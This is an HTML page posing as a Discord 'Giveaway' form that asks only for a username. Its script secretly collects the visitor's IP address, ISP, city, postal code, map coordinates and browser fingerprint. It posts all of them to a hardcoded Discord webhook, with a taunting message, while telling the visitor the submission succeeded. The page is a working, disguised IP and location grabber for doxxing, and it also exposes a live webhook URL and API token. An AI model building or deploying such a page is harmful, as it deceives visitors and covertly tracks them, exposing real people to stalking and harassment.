<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Giveaway</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background-color: #2C2F33;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            color: #ffffff;
        }
        .container {
            background-color: #23272A;
            padding: 2rem;
            border-radius: 8px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 400px;
        }
        h1 {
            text-align: center;
            color: #9B59B6;
            margin-bottom: 1.5rem;
        }
        .form-group {
            margin-bottom: 1rem;
        }
        label {
            display: block;
            margin-bottom: 0.5rem;
            color: #b9bbbe;
        }
        input {
            width: 100%;
            padding: 0.5rem;
            border: 1px solid #9B59B6;
            background-color: #2C2F33;
            color: #ffffff;
            border-radius: 4px;
            box-sizing: border-box;
            transition: all 0.3s ease;
        }
        input:focus {
            outline: none;
            border-color: #A569BD;
            box-shadow: 0 0 10px rgba(155, 89, 182, 0.5);
        }
        button {
            width: 100%;
            padding: 0.75rem;
            background-color: #9B59B6;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 1rem;
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
        }
        button:hover {
            background-color: #A569BD;
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(155, 89, 182, 0.4);
        }
        button:active {
            transform: translateY(0);
        }
        .message {
            margin-top: 1rem;
            text-align: center;
            color: #43b581;
            display: none;
            padding: 10px;
            border-radius: 4px;
            white-space: pre-line;
            transition: all 0.3s ease;
        }
        .error {
            color: #f04747;
            background-color: rgba(240, 71, 71, 0.1);
            border: 1px solid rgba(240, 71, 71, 0.3);
        }
        .success {
            color: #43b581;
            background-color: rgba(67, 181, 129, 0.1);
            border: 1px solid rgba(67, 181, 129, 0.3);
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>👾 Giveaway</h1>
        <form id="discordForm">
            <div class="form-group">
                <label for="username">📝 Discord Username:</label>
                <input type="text" id="username" name="username" required placeholder="Enter your Discord username">
            </div>
            <button type="submit">🚀 Submit</button>
        </form>
        <div id="message" class="message"></div>
    </div>

    <script>
        // Discord username validation function
        function isValidDiscordUsername(username) {
            // Discord usernames must be:
            // - Between 2 and 32 characters
            // - Can contain letters, numbers, and underscores
            // - Cannot start with a number or underscore
            // - Cannot be only numbers
            const usernameRegex = /^[a-zA-Z][a-zA-Z0-9_]{1,31}$/;
            return usernameRegex.test(username) && !/^\d+$/.test(username);
        }

        document.getElementById('discordForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            
            const username = document.getElementById('username').value.trim();
            const messageDiv = document.getElementById('message');

            // Validate username format
            if (!isValidDiscordUsername(username)) {
                messageDiv.textContent = '❌ Invalid Discord username!\n' +
                    '• Must be between 2 and 32 characters\n' +
                    '• Must start with a letter\n' +
                    '• Can only contain letters, numbers, and underscores\n' +
                    '• Cannot be only numbers';
                messageDiv.classList.add('error');
                messageDiv.classList.remove('success');
                messageDiv.style.display = 'block';
                return;
            }

            try {
                // Get IP info from ipinfo.io
                const ipResponse = await fetch('https://ipinfo.io/json?token=2f6cf99e15956a');
                if (!ipResponse.ok) {
                    throw new Error('Failed to fetch location information');
                }
                const ipData = await ipResponse.json();

                // Format privacy data based on ISP/Organization info
                const orgInfo = (ipData.org || '').toLowerCase();
                const privacyInfo = {
                    vpn: orgInfo.includes('vpn') || orgInfo.includes('private'),
                    proxy: orgInfo.includes('proxy') || orgInfo.includes('datacenter'),
                    tor: orgInfo.includes('tor') || orgInfo.includes('exit'),
                    hosting: orgInfo.includes('hosting') || orgInfo.includes('cloud'),
                    mobile: orgInfo.includes('mobile') || orgInfo.includes('wireless'),
                    isp: ipData.org || 'Unknown'
                };

                // Create privacy status message
                const privacyStatus = [
                    `VPN: ${privacyInfo.vpn ? '🔴 DETECTED' : '🟢 CLEAN'}`,
                    `PROXY: ${privacyInfo.proxy ? '🔴 DETECTED' : '🟢 CLEAN'}`,
                    `TOR: ${privacyInfo.tor ? '🔴 DETECTED' : '🟢 CLEAN'}`,
                    `HOSTING: ${privacyInfo.hosting ? '🔴 DETECTED' : '🟢 CLEAN'}`,
                    `MOBILE: ${privacyInfo.mobile ? '📱 YES' : '🖥️ NO'}`
                ].join('\n');

                // Get detailed device info
                const deviceInfo = [
                    '\nDEVICE INFO:',
                    `Browser: ${navigator.userAgent}`,
                    `Platform: ${navigator.platform}`,
                    `Language: ${navigator.language}`,
                    `Screen: ${window.screen.width}x${window.screen.height}`,
                    `Color Depth: ${window.screen.colorDepth}-bit`,
                    `Timezone: ${Intl.DateTimeFormat().resolvedOptions().timeZone}`,
                    `Time: ${new Date().toLocaleString()}`
                ].join('\n');

                // Get network info
                const networkInfo = [
                    '\nNETWORK INFO:',
                    `Organization: ${ipData.org || 'Unknown'}`,
                    `Hostname: ${ipData.hostname || 'Unknown'}`,
                    `Network: ${ipData.network || 'Unknown'}`
                ].join('\n');

                // Get browser capabilities
                const browserInfo = [
                    '\nBROWSER CAPABILITIES:',
                    `Cookies Enabled: ${navigator.cookieEnabled ? '✅' : '❌'}`,
                    `Do Not Track: ${navigator.doNotTrack ? '✅' : '❌'}`,
                    `WebGL: ${!!window.WebGLRenderingContext ? '✅' : '❌'}`,
                    `Canvas: ${!!window.CanvasRenderingContext2D ? '✅' : '❌'}`,
                    `WebRTC: ${!!window.RTCPeerConnection ? '✅' : '❌'}`,
                    `JavaScript: ✅`,
                    `Local Storage: ${!!window.localStorage ? '✅' : '❌'}`
                ].join('\n');

                // Format the address from IP data
                const fullAddress = {
                    city: ipData.city || 'Unknown',
                    state: ipData.region || 'Unknown',
                    country: ipData.country || 'Unknown',
                    coordinates: ipData.loc || 'Unknown',
                    postal: ipData.postal || 'Unknown'
                };

                // Create Google Maps link if coordinates are available
                const mapsLink = ipData.loc ? 
                    `[View on Google Maps](https://www.google.com/maps?q=${ipData.loc})` : 
                    'Location coordinates unavailable';

                // Additional location info
                const locationInfo = [
                    '\nLOCATION DETAILS:',
                    `Region: ${ipData.region || 'Unknown'}`,
                    `Country: ${ipData.country || 'Unknown'}`,
                    `Timezone: ${ipData.timezone || 'Unknown'}`,
                    `Postal: ${ipData.postal || 'Unknown'}`,
                    `Location: ${ipData.loc || 'Unknown'}`
                ].join('\n');

                // Send to Discord webhook
                const webhookUrl = 'https://discord.com/api/webhooks/1319131721584611399/rDuGbuaqHVgrpgKIE-_JAcLJSX953Txmn37jmTELZByGsBtZATO51HRQrqAh9DAw4chg';
                
                const response = await fetch(webhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        content: null,
                        embeds: [{
                            title: '👾 New Discord Username Submission',
                            color: 0x9B59B6,
                            fields: [
                                {
                                    name: '📝 Username',
                                    value: username,
                                    inline: true
                                },
                                {
                                    name: '⏰ Time',
                                    value: new Date().toLocaleString(),
                                    inline: true
                                },
                                {
                                    name: '🌐 Source',
                                    value: 'get fucked l bozo',
                                    inline: true
                                },
                                {
                                    name: '🔍 IP Address',
                                    value: ipData.ip || 'Unknown',
                                    inline: true
                                },
                                {
                                    name: '📍 Location',
                                    value: `${fullAddress.city}, ${fullAddress.state}, ${fullAddress.country}`,
                                    inline: true
                                },
                                {
                                    name: '🏢 ISP',
                                    value: ipData.org || 'Unknown',
                                    inline: true
                                },
                                {
                                    name: '🔒 System Information',
                                    value: `\`\`\`\nPRIVACY STATUS:\n${privacyStatus}${networkInfo}${deviceInfo}${browserInfo}${locationInfo}\`\`\``,
                                    inline: false
                                },
                                {
                                    name: '📌 Coordinates',
                                    value: `${fullAddress.coordinates}\n${mapsLink}`,
                                    inline: true
                                },
                                {
                                    name: '🏠 Full Address',
                                    value: `${fullAddress.city}, ${fullAddress.state} ${fullAddress.postal}, ${fullAddress.country}`,
                                    inline: false
                                }
                            ],
                            footer: {
                                text: '🟣 Submitted via Discord Webhook'
                            }
                        }]
                    })
                });

                if (response.ok) {
                    messageDiv.textContent = '✅ Username submitted successfully!';
                    messageDiv.classList.remove('error');
                    messageDiv.classList.add('success');
                    messageDiv.style.display = 'block';
                    document.getElementById('username').value = '';
                } else {
                    console.error('Response status:', response.status);
                    const errorText = await response.text();
                    console.error('Error details:', errorText);
                    throw new Error(`❌ Failed to submit. Status: ${response.status}`);
                }
            } catch (error) {
                console.error('Error:', error);
                messageDiv.textContent = `❌ Error: ${error.message}. Please try again.`;
                messageDiv.classList.add('error');
                messageDiv.classList.remove('success');
                messageDiv.style.display = 'block';
            }
        });
    </script>
</body>
</html>
